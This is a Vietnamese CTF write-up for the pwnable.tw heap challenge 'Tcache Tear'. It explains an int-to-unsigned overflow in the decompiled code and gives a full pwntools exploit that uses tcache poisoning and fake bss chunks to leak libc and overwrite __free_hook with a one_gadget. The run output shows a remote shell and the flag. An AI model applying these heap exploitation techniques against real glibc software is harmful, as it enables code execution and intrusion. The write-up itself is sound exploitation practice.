pwnable.tw

Tcache Tear

Vulnerability: Chương trình ép kiểu không cẩn thận từ int về unsigned, dẫn đến buffer overflow trên heap do có chênh lệch giữa kích thước cấp phát và kích thước thực tế được input.

February 8, 2026 February 8, 2026 Easy
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec tcache_tear
[*] '/home/hungnt/ctfs/pwnable.tw/tcache-tear/tcache_tear'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
$ file tcache_tear
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped

GLIBC Version

pwndbg> libc
libc version: 2.27
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.27.tar.gz

Code

main()

void main(void)

{
    long choice;
    uint free_count;
    
    setup();
    printf("Name:");
    read_input(&name,0x20);
    free_count = 0;
    do
    {
        while( true )
        {
            while( true )
            {
                menu();
                choice = read_long();
                if (choice != 2) break;
                if (free_count < 8)
                {
                    free(ptr);
                    free_count = free_count + 1;
                }
            }
            if (2 < choice) break;
            if (choice == 1)
            {
                m4lloc();
            }
            else
            {
invalid:
                puts("Invalid choice");
            }
        }
        if (choice != 3)
        {
            if (choice == 4)
            {
                    // WARNING: Subroutine does not return
                exit(0);
            }
            goto invalid;
        }
        print_name();
    } while( true );
}

m4lloc()

void m4lloc(void)

{
    ulong size;
    
    printf("Size:");
    size = read_long();
    if (size < 256)
    {
        ptr = malloc(size);
        printf("Data:");
        read_input(ptr,(int)size + -0x10);
        puts("Done !");
    }
    return;
}

Do tràn số, nếu mình nhập size = 0x8, mình có thể ghi đến 0xFFFFFFFFFFFFFFF8 bytes do ép kiểu về size_t ở __read_chk():

void read_input(char *buf,int len)

{
    int n;
    
    n = __read_chk(0,buf,len,len);
    if (n < 1)
    {
        puts("read error");
                    /* WARNING: Subroutine does not return */
        _exit(1);
    }
    if (buf[(long)n + -1] == '\n')
    {
        buf[(long)n + -1] = '\0';
    }
    return;
}

print_name()

void print_name(void)

{
    printf("Name :");
    write(1,&name,0x20);
    return;
}

Solve

Ở glibc 2.27 này, mình có thể free() thoải mái vào tcache mà ko bị check. Có thể dễ dàng tcache poisoning và cấp phát tùy ý.

Do ko có chỗ nào trực tiếp output, mình cần phải tìm cách nào đó đưa được một chunk vào unsorted bin. Để ý hàm print_name() ghi ra dữ liệu tại name, nên mình phải làm sao free được địa chỉ đó vào unsorted bin, sau đó leak con trỏ fd.

Vì kích thước tối đa đc cấp phát là 255 bytes, ko free vào unsorted bin đc. Mình lợi dụng heap buffer overflow ở malloc, mình tạo 3 chunk giả liên tiếp trên bss, để bypass đc các check rồi free chunk vào unsorted bin.

Sau khi có đc libc, mình ghi one_gadget vào free hook, và có đc shell.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("tcache_tear_patched", checksec=False)
libc = ELF("libc.so", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x0000000000601d78
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10207
        return remote(host, port)

p = conn()

def malloc(size, data):
    slan(p, b'choice', 1)
    slan(p, b'Size', size)
    if size != 0x10:
        sa(p, b'Data', data)
        sleep(0.05)

def free():
    slan(p, b'choice', 2)

def print_name():
    slan(p, b'choice', 3)

sa(p, b'Name', flat(0, 0x421))

name = 0x00602060

# Fake chunks on bss
malloc(0x8, pad())
free()
free()
malloc(0x8, p64(name))
malloc(0x8, p64(0))
malloc(0x8, flat(
    0, 0x421,
    0, 0,
    0, name + 0x10, # ptr
    pad(0x3f0),
    0, 0x21,
    pad(0x10),
    0, 0x21
))

# Free fake chunk to unsorted bin
free()

# Leak libc
print_name()
ru(p, b'Name :')
rn(p, 16)
libc.address = leak_bytes(rn(p, 6), 0x3ebca0)
lg("libc base", libc.address)

# Malloc till chunk is taken from the top chunk
for i in range(7):
    malloc(0x90, pad())

free()
free()

free_hook = libc.symbols['__free_hook']
lg("free hook", free_hook)
malloc(0x90, p64(free_hook - 0x8))
malloc(0x90, p64(0))

one_gadget = libc.address + 0x4f322
lg("one gadget", one_gadget)
malloc(0x90, flat(0, one_gadget))

print("spawn shell")
free()

rr(p, 1)
ia(p)
$ py solve.py 
[+] Opening connection to chall.pwnable.tw on port 10207: Done
libc base -> 0x7fcb5fc9e000
free hook -> 0x7fcb6008b8e8
one gadget -> 0x7fcb5fced322
spawn shell
[*] Switching to interactive mode
$ cd home
$ ls
tcache_tear
$ cd tcache_tear
$ ls
flag
run.sh
tcache_tear
$ cat flag
FLAG{tc4ch3_1s_34sy_f0r_y0u}